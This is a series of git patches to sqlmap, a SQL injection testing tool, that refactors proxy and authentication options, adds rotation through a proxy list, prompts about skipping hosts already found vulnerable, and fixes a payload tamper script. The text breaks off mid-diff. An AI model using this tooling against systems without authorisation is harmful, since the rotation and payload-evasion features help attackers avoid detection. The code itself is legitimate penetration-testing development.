+0200 Subject: [PATCH 040/889] Fix for an Issue #497 --- lib/request/redirecthandler.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 6b84dcecc..9aa328144 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission import urllib2 import urlparse +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.common import getHostHeader From 1088011bf093f4f0e759b5f861624165a6f6f9bd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 2 Aug 2013 23:07:13 +0200 Subject: [PATCH 041/889] Adding new binary file formats for excluding in crawling --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 67d4dc153..1b367e576 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -380,7 +380,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'" DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]" # Extensions skipped by crawler -CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jar", "tif", "bmp", "war", "ear", "mpg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "bin", "exe", "iso", "tar", "png", "pdf", "ps", "mp3", "zip", "rar", "gz") +CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "exe", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov") # Patterns often seen in HTTP headers containing custom injection marking character PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(\bq=[^;']+)|(\*/\*)" From 4beef0900da842f565261d53c35e2df59d116756 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 9 Aug 2013 13:58:42 +0200 Subject: [PATCH 042/889] Minor language fix (we support SOCKS proxy settings too) --- lib/parse/cmdline.py | 6 +++--- sqlmap.conf | 8 ++++---- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index a4be932ae..35d8a0d0a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -121,14 +121,14 @@ def cmdLineParser(): "key_file,cert_file)") request.add_option("--proxy", dest="proxy", - help="Use a HTTP proxy to connect to the target URL") + help="Use a proxy to connect to the target URL") request.add_option("--proxy-cred", dest="pCred", - help="HTTP proxy authentication credentials " + help="Proxy authentication credentials " "(name:password)") request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", - help="Ignore system default HTTP proxy") + help="Ignore system default proxy settings") request.add_option("--tor", dest="tor", action="store_true", diff --git a/sqlmap.conf b/sqlmap.conf index d67d5360f..2617fdd72 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -88,16 +88,16 @@ aCred = # Syntax: key_file,cert_file aCert = -# Use a HTTP proxy to connect to the target URL. +# Use a proxy to connect to the target URL. # Syntax: http://address:port proxy = -# HTTP proxy authentication credentials. Useful only if the proxy requires -# HTTP Basic or Digest authentication and you have such data. +# Proxy authentication credentials. Useful only if the proxy requires +# Basic or Digest authentication and you have such data. # Syntax: username:password pCred = -# Ignore system default HTTP proxy. +# Ignore system default proxy settings. # Valid: True or False ignoreProxy = False From a711c9ed3603e82f2a8e84475f2c2b048ec7b4fa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 9 Aug 2013 14:13:48 +0200 Subject: [PATCH 043/889] Minor cleanup and initial work for #58 --- lib/core/common.py | 2 +- lib/core/option.py | 24 ++++++++++++------------ lib/core/optiondict.py | 9 +++++---- lib/parse/cmdline.py | 11 +++++++---- lib/request/connect.py | 2 +- sqlmap.conf | 14 ++++++++++---- xml/livetests.xml | 8 ++++---- 7 files changed, 40 insertions(+), 30 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 5825f0a59..ca7ea5431 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2768,7 +2768,7 @@ def maskSensitiveData(msg): retVal = msg - for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "aCred", "pCred", "tbl", "db", "col", "user", "cookie", "proxy"))): + for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))): regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", item) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) diff --git a/lib/core/option.py b/lib/core/option.py index 32c5d9f9f..a105296df 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -180,7 +180,7 @@ def _urllib2Opener(): if conf.proxy: warnMsg += "with HTTP(s) proxy" logger.warn(warnMsg) - elif conf.aType: + elif conf.authType: warnMsg += "with authentication methods" logger.warn(warnMsg) else: @@ -1011,8 +1011,8 @@ def _setHTTPProxy(): errMsg = "proxy value must be in format '(%s)://url:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) - if conf.pCred: - _ = re.search("^(.*?):(.*?)$", conf.pCred) + if conf.proxyCred: + _ = re.search("^(.*?):(.*?)$", conf.proxyCred) if not _: errMsg = "Proxy authentication credentials " errMsg += "value must be in format username:password" @@ -1025,9 +1025,9 @@ def _setHTTPProxy(): socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.wrapmodule(urllib2) else: - if conf.pCred: + if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection - proxyString = "%s@" % conf.pCred + proxyString = "%s@" % conf.proxyCred else: proxyString = "" @@ -1097,24 +1097,24 @@ def _setHTTPAuthentication(): global authHandler - if not conf.aType and not conf.aCred and not conf.aCert: + if not conf.authType and not conf.authCred and not conf.authCert: return - elif conf.aType and not conf.aCred and not conf.aCert: + elif conf.authType and not conf.authCred and not conf.authCert: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" raise SqlmapSyntaxException(errMsg) - elif not conf.aType and conf.aCred: + elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " errMsg += "but did not provide the type" raise SqlmapSyntaxException(errMsg) - if not conf.aCert: + if not conf.authCert: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) - aTypeLower = conf.aType.lower() + aTypeLower = conf.authType.lower() if aTypeLower not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.CERT): errMsg = "HTTP authentication type value must be " @@ -1133,7 +1133,7 @@ def _setHTTPAuthentication(): errMsg += "usage of option `--auth-cert`" raise SqlmapSyntaxException(errMsg) - aCredRegExp = re.search(regExp, conf.aCred) + aCredRegExp = re.search(regExp, conf.authCred) if not aCredRegExp: raise SqlmapSyntaxException(errMsg) @@ -1165,7 +1165,7 @@ def _setHTTPAuthentication(): debugMsg = "setting the HTTP(s) authentication certificate" logger.debug(debugMsg) - aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert) + aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.authCert) if not aCertRegExp: errMsg = "HTTP authentication certificate option " diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8671c6f82..055fab75d 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -33,11 +33,12 @@ optDict = { "host": "string", "referer": "string", "headers": "string", - "aType": "string", - "aCred": "string", - "aCert": "string", + "authType": "string", + "authCred": "string", + "authCert": "string", "proxy": "string", - "pCred": "string", + "proxyCred": "string", + "proxyFile": "string", "ignoreProxy": "boolean", "tor": "boolean", "torPort": "integer", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 35d8a0d0a..b74d66189 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -108,25 +108,28 @@ def cmdLineParser(): request.add_option("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") - request.add_option("--auth-type", dest="aType", + request.add_option("--auth-type", dest="authType", help="HTTP authentication type " "(Basic, Digest, NTLM or Cert)") - request.add_option("--auth-cred", dest="aCred", + request.add_option("--auth-cred", dest="authCred", help="HTTP authentication credentials " "(name:password)") - request.add_option("--auth-cert", dest="aCert", + request.add_option("--auth-cert", dest="authCert", help="HTTP authentication certificate (" "key_file,cert_file)") request.add_option("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") - request.add_option("--proxy-cred", dest="pCred", + request.add_option("--proxy-cred", dest="proxyCred", help="Proxy authentication credentials " "(name:password)") + request.add_option("--proxy-file", dest="proxyFile", + help="Load proxy list from a file") + request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") diff --git a/lib/request/connect.py b/lib/request/connect.py index d7b135836..63602a83b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -372,7 +372,7 @@ class Connect(object): conn = urllib2.urlopen(req) - if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.aType == AUTH_TYPE.BASIC: + if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.authType == AUTH_TYPE.BASIC: kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): diff --git a/sqlmap.conf b/sqlmap.conf index 2617fdd72..9636e3af5 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -18,6 +18,9 @@ url = # 'conversations/' folder path logFile = +# Scan multiple targets enlisted in a given textual file +bulkFile = + # Load HTTP request from a file # Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme requestFile = @@ -76,17 +79,17 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9 # HTTP Authentication type. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. # Valid: Basic, Digest, NTLM or Cert -aType = +authType = # HTTP authentication credentials. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. # Syntax: username:password -aCred = +authCred = # HTTP Authentication certificate. Useful only if the target URL requires # logon certificate and you have such data. # Syntax: key_file,cert_file -aCert = +authCert = # Use a proxy to connect to the target URL. # Syntax: http://address:port @@ -95,7 +98,10 @@ proxy = # Proxy authentication credentials. Useful only if the proxy requires # Basic or Digest authentication and you have such data. # Syntax: username:password -pCred = +proxyCred = + +# Load proxy list from a file +proxyFile = # Ignore system default proxy settings. # Valid: True or False diff --git a/xml/livetests.xml b/xml/livetests.xml index 32d840e91..710fa95b9 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -3423,8 +3423,8 @@ - - + + @@ -3435,8 +3435,8 @@ - - + + From b2855e0281b455812278f9c0b58040ad6f383c8b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Aug 2013 14:25:51 +0200 Subject: [PATCH 044/889] Minor patch --- lib/core/common.py | 5 +++- lib/core/convert.py | 2 +- lib/core/option.py | 39 ++++++++++++++++++++++++-------- lib/request/connect.py | 9 ++++++++ plugins/dbms/oracle/connector.py | 4 ++-- 5 files changed, 45 insertions(+), 14 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ca7ea5431..14809e285 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2244,7 +2244,10 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg): dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) def getPageTemplate(payload, place): # Cross-linked function - pass + raise NotImplementedError + +def setHTTPProxy(): # Cross-linked function + raise NotImplementedError def getPublicTypeMembers(type_, onlyValues=False): """ diff --git a/lib/core/convert.py b/lib/core/convert.py index 4a16e76cf..e063aded0 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -133,7 +133,7 @@ def htmlunescape(value): return retVal def singleTimeWarnMessage(message): # Cross-linked function - pass + raise NotImplementedError def stdoutencode(data): retVal = None diff --git a/lib/core/option.py b/lib/core/option.py index a105296df..1e85eb1b1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -149,7 +149,7 @@ from xml.etree.ElementTree import ElementTree authHandler = urllib2.BaseHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() -proxyHandler = urllib2.BaseHandler() +proxyHandler = urllib2.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() @@ -981,21 +981,23 @@ def _setHTTPProxy(): Check and set the HTTP/SOCKS proxy for all HTTP requests. """ - global proxyHandler - if not conf.proxy: - if conf.hostname in ('localhost', '127.0.0.1') or conf.ignoreProxy: - proxyHandler = urllib2.ProxyHandler({}) + if conf.proxyList: + conf.proxy = conf.proxyList[0] + conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] + else: + if conf.hostname in ('localhost', '127.0.0.1') or conf.ignoreProxy: + proxyHandler.proxies = {} - return + return debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" logger.debug(debugMsg) - proxySplit = urlparse.urlsplit(conf.proxy) - hostnamePort = proxySplit.netloc.split(":") + _ = urlparse.urlsplit(conf.proxy) + hostnamePort = _.netloc.split(":") - scheme = proxySplit.scheme.upper() + scheme = _.scheme.upper() hostname = hostnamePort[0] port = None username = None @@ -1022,9 +1024,13 @@ def _setHTTPProxy(): password = _.group(2) if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): + proxyHandler.proxies = {} + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.wrapmodule(urllib2) else: + socks.unwrapmodule(urllib2) + if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection proxyString = "%s@" % conf.proxyCred @@ -1032,7 +1038,9 @@ def _setHTTPProxy(): proxyString = "" proxyString += "%s:%d" % (hostname, port) - proxyHandler = urllib2.ProxyHandler({"http": proxyString, "https": proxyString}) + proxyHandler.proxies = {"http": proxyString, "https": proxyString} + + proxyHandler.__init__(proxyHandler.proxies) def _setSafeUrl(): """ @@ -1540,6 +1548,7 @@ def _setConfAttributes(): conf.parameters = {} conf.path = None conf.port = None + conf.proxyList = [] conf.resultsFilename = None conf.resultsFP = None conf.scheme = None @@ -1908,6 +1917,12 @@ def _setDNSServer(): errMsg += "for incoming address resolution attempts" raise SqlmapMissingPrivileges(errMsg) +def _setProxyList(): + if not conf.proxyFile: + return + + conf.proxyList = getFileItems(conf.proxyFile) + def _setTorProxySettings(): if not conf.tor: return @@ -2154,8 +2169,11 @@ def _basicOptionValidation(): raise SqlmapFilePathException(errMsg) def _resolveCrossReferences(): + import pdb + pdb.set_trace() lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate + lib.core.common.setHTTPProxy = _setHTTPProxy lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage def initOptions(inputOptions=AttribDict(), overrideOptions=False): @@ -2180,6 +2198,7 @@ def init(): _purgeOutput() _checkDependencies() _basicOptionValidation() + _setProxyList() _setTorProxySettings() _setDNSServer() _adjustLoggingFormatter() diff --git a/lib/request/connect.py b/lib/request/connect.py index 63602a83b..457fac5b4 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -37,6 +37,7 @@ from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues +from lib.core.common import setHTTPProxy from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev @@ -107,6 +108,14 @@ class Connect(object): threadData = getCurrentThreadData() threadData.retriesCount += 1 + if threadData.retriesCount >= conf.retries: + warnMsg = "changing proxy" + logger.warn(warnMsg) + + conf.proxy = conf.proxyList[0] + conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] + setHTTPProxy() + if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 161b4efd5..bea10684c 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -42,10 +42,10 @@ class Connector(GenericConnector): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError): + except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError), msg: + except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: raise SqlmapConnectionException(msg) self.initCursor() From 6d756317c37f071ee690bf0105f945d783bcb98e Mon Sep 17 00:00:00 2001 From: bladeswords Date: Tue, 13 Aug 2013 13:58:45 +1000 Subject: [PATCH 045/889] Remove debugging which prevents sqlmap from running smoothly --- lib/core/option.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 1e85eb1b1..3d9d571c6 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2169,8 +2169,6 @@ def _basicOptionValidation(): raise SqlmapFilePathException(errMsg) def _resolveCrossReferences(): - import pdb - pdb.set_trace() lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate lib.core.common.setHTTPProxy = _setHTTPProxy From 4929cff0c0a7b7710247bd5ac40f17faefd386a9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2013 06:42:49 +0200 Subject: [PATCH 046/889] Minor update --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 457fac5b4..9d4749fc0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -108,7 +108,7 @@ class Connect(object): threadData = getCurrentThreadData() threadData.retriesCount += 1 - if threadData.retriesCount >= conf.retries: + if conf.proxyList and threadData.retriesCount >= conf.retries: warnMsg = "changing proxy" logger.warn(warnMsg) From 52a71546d0be82c1457bd0c66b82c5e802c77563 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2013 18:55:23 +0200 Subject: [PATCH 047/889] Implementation for an Issue #507 --- lib/controller/controller.py | 8 +++++++- lib/core/option.py | 1 + 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index c1a4f393d..730c1003a 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -287,7 +287,13 @@ def start(): if paramKey not in kb.testedParams: testSqlInj = True - testSqlInj &= conf.hostname not in kb.vulnHosts + if testSqlInj and conf.hostname in kb.vulnHosts: + if kb.skipVulnHost is None: + message = "vulnerability has already been detected " + message += "against '%s'. Do you want to skip " % conf.hostname + message += "further tests involving it? [Y/n]" + kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' + testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl diff --git a/lib/core/option.py b/lib/core/option.py index 3d9d571c6..87c25b79d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1673,6 +1673,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.resumeValues = True kb.safeCharEncode = False kb.singleLogFlags = set() + kb.skipVulnHost = None kb.reduceTests = None kb.stickyDBMS = False kb.stickyLevel = None From 38ee95e2c96afd40140f4822ebe9ff0cfab3e21d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2013 18:58:24 +0200 Subject: [PATCH 048/889] Minor language update --- lib/controller/controller.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 730c1003a..3cea4d0d6 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -289,7 +289,7 @@ def start(): if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: - message = "vulnerability has already been detected " + message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' From 1f2c8fbf59b6d40d2a015a674e0c06148fe105f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2013 20:40:36 +0200 Subject: [PATCH 049/889] Fix for an Issue #500 --- lib/core/common.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 14809e285..a69c6cf8a 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1227,14 +1227,14 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I) + asterisk = re.search("^SELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I) if asterisk: infoMsg = "you did not provide the fields in your query. " infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) - _ = asterisk.group(1).replace("..", ".") + _ = asterisk.group(2).replace("..", ".") conf.db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _) conf.db = safeSQLIdentificatorNaming(conf.db) conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True) @@ -1247,7 +1247,7 @@ def expandAsteriskForColumns(expression): columnsStr = ", ".join(column for column in columns) expression = expression.replace("*", columnsStr, 1) - infoMsg = "the query with column names is: " + infoMsg = "the query with expanded column name(s) is: " infoMsg += "%s" % expression logger.info(infoMsg) From 5721f6007e539d6e3121c5c7ef3446147385fda5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 18 Aug 2013 01:24:40 +0200 Subject: [PATCH 050/889] Fix for an Issue #509 --- plugins/dbms/mysql/fingerprint.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index ca9672f00..98491f930 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -116,9 +116,9 @@ class Fingerprint(GenericFingerprint): value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None - if re.search("-log$", kb.data.banner): + if banVer and re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) From 6cc0cf3702a919a7eaef1fe63fc55d69ea52fb6a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Aug 2013 18:36:31 +0200 Subject: [PATCH 051/889] Minor comment update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1b367e576..10dbad677 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -145,7 +145,7 @@ IS_WIN = subprocess.mswindows PLATFORM = os.name PYVERSION = sys.version.split()[0] -# Database management system specific variables +# DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MYSQL_SYSTEM_DBS = ("information_schema", "mysql") # Before MySQL 5.0 only "mysql" PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast") From c586559e30f88620a74273c03f0ddfa115740e12 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Aug 2013 18:54:32 +0200 Subject: [PATCH 052/889] Patch for an Issue #510 --- lib/utils/sqlalchemy.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index bff95513f..832dda5dc 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -14,8 +14,10 @@ import warnings _sqlalchemy = None try: f, pathname, desc = imp.find_module("sqlalchemy", sys.path[1:]) - _sqlalchemy = imp.load_module("sqlalchemy", f, pathname, desc) - warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) + _ = imp.load_module("sqlalchemy", f, pathname, desc) + if hasattr(_, "dialects"): + _sqlalchemy = _ + warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) except ImportError: pass From 23f2c5f1662e7080ffd53b62ca4caadbca5705a4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Aug 2013 19:35:49 +0200 Subject: [PATCH 053/889] Finishing implementation for an Issue #58 --- lib/core/common.py | 3 --- lib/core/option.py | 6 +++++- lib/request/connect.py | 7 ++++--- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index a69c6cf8a..a7d1db641 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2246,9 +2246,6 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg): def getPageTemplate(payload, place): # Cross-linked function raise NotImplementedError -def setHTTPProxy(): # Cross-linked function - raise NotImplementedError - def getPublicTypeMembers(type_, onlyValues=False): """ Useful for getting members from types (e.g. in enums) diff --git a/lib/core/option.py b/lib/core/option.py index 87c25b79d..dffa4c58c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -22,6 +22,7 @@ import urlparse import lib.core.common import lib.core.threads import lib.core.convert +import lib.request.connect from lib.controller.checks import checkConnection from lib.core.common import Backend @@ -985,6 +986,9 @@ def _setHTTPProxy(): if conf.proxyList: conf.proxy = conf.proxyList[0] conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] + + infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy + logger.info(infoMsg) else: if conf.hostname in ('localhost', '127.0.0.1') or conf.ignoreProxy: proxyHandler.proxies = {} @@ -2172,8 +2176,8 @@ def _basicOptionValidation(): def _resolveCrossReferences(): lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate - lib.core.common.setHTTPProxy = _setHTTPProxy lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage + lib.request.connect.setHTTPProxy = _setHTTPProxy def initOptions(inputOptions=AttribDict(), overrideOptions=False): if not inputOptions.disableColoring: diff --git a/lib/request/connect.py b/lib/request/connect.py index 9d4749fc0..5d601a8bc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -37,7 +37,6 @@ from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues -from lib.core.common import setHTTPProxy from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev @@ -112,8 +111,7 @@ class Connect(object): warnMsg = "changing proxy" logger.warn(warnMsg) - conf.proxy = conf.proxyList[0] - conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] + conf.proxy = None setHTTPProxy() if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: @@ -900,3 +898,6 @@ class Connect(object): return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength) + +def setHTTPProxy(): # Cross-linked function + raise NotImplementedError From 1d4e2d151d418bc14c3290759eeebf107020ead9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Aug 2013 19:48:03 +0200 Subject: [PATCH 054/889] Fix for a socks module - proper unwrapmodule (Issue #58) --- thirdparty/socks/socks.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index e164ced40..ff0a1e226 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -53,6 +53,7 @@ PROXY_TYPE_HTTP = 3 _defaultproxy = None _orgsocket = socket.socket +_orgcreateconnection = socket.create_connection class ProxyError(Exception): pass class GeneralProxyError(ProxyError): pass @@ -113,8 +114,8 @@ def wrapmodule(module): raise GeneralProxyError((4, "no proxy specified")) def unwrapmodule(module): - module.socket.socket = socket.socket - module.socket.create_connection = socket.create_connection + module.socket.socket = _orgsocket + module.socket.create_connection = _orgcreateconnection class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object From 7725695f26fed038c333dd9efc521638552e9fe1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 21 Aug 2013 11:25:41 +0200 Subject: [PATCH 055/889] Fix for an Issue #511 --- tamper/between.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tamper/between.py b/tamper/between.py index bcb636de4..bdee16442 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -43,6 +43,6 @@ def tamper(payload, **kwargs): _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: - retVal = 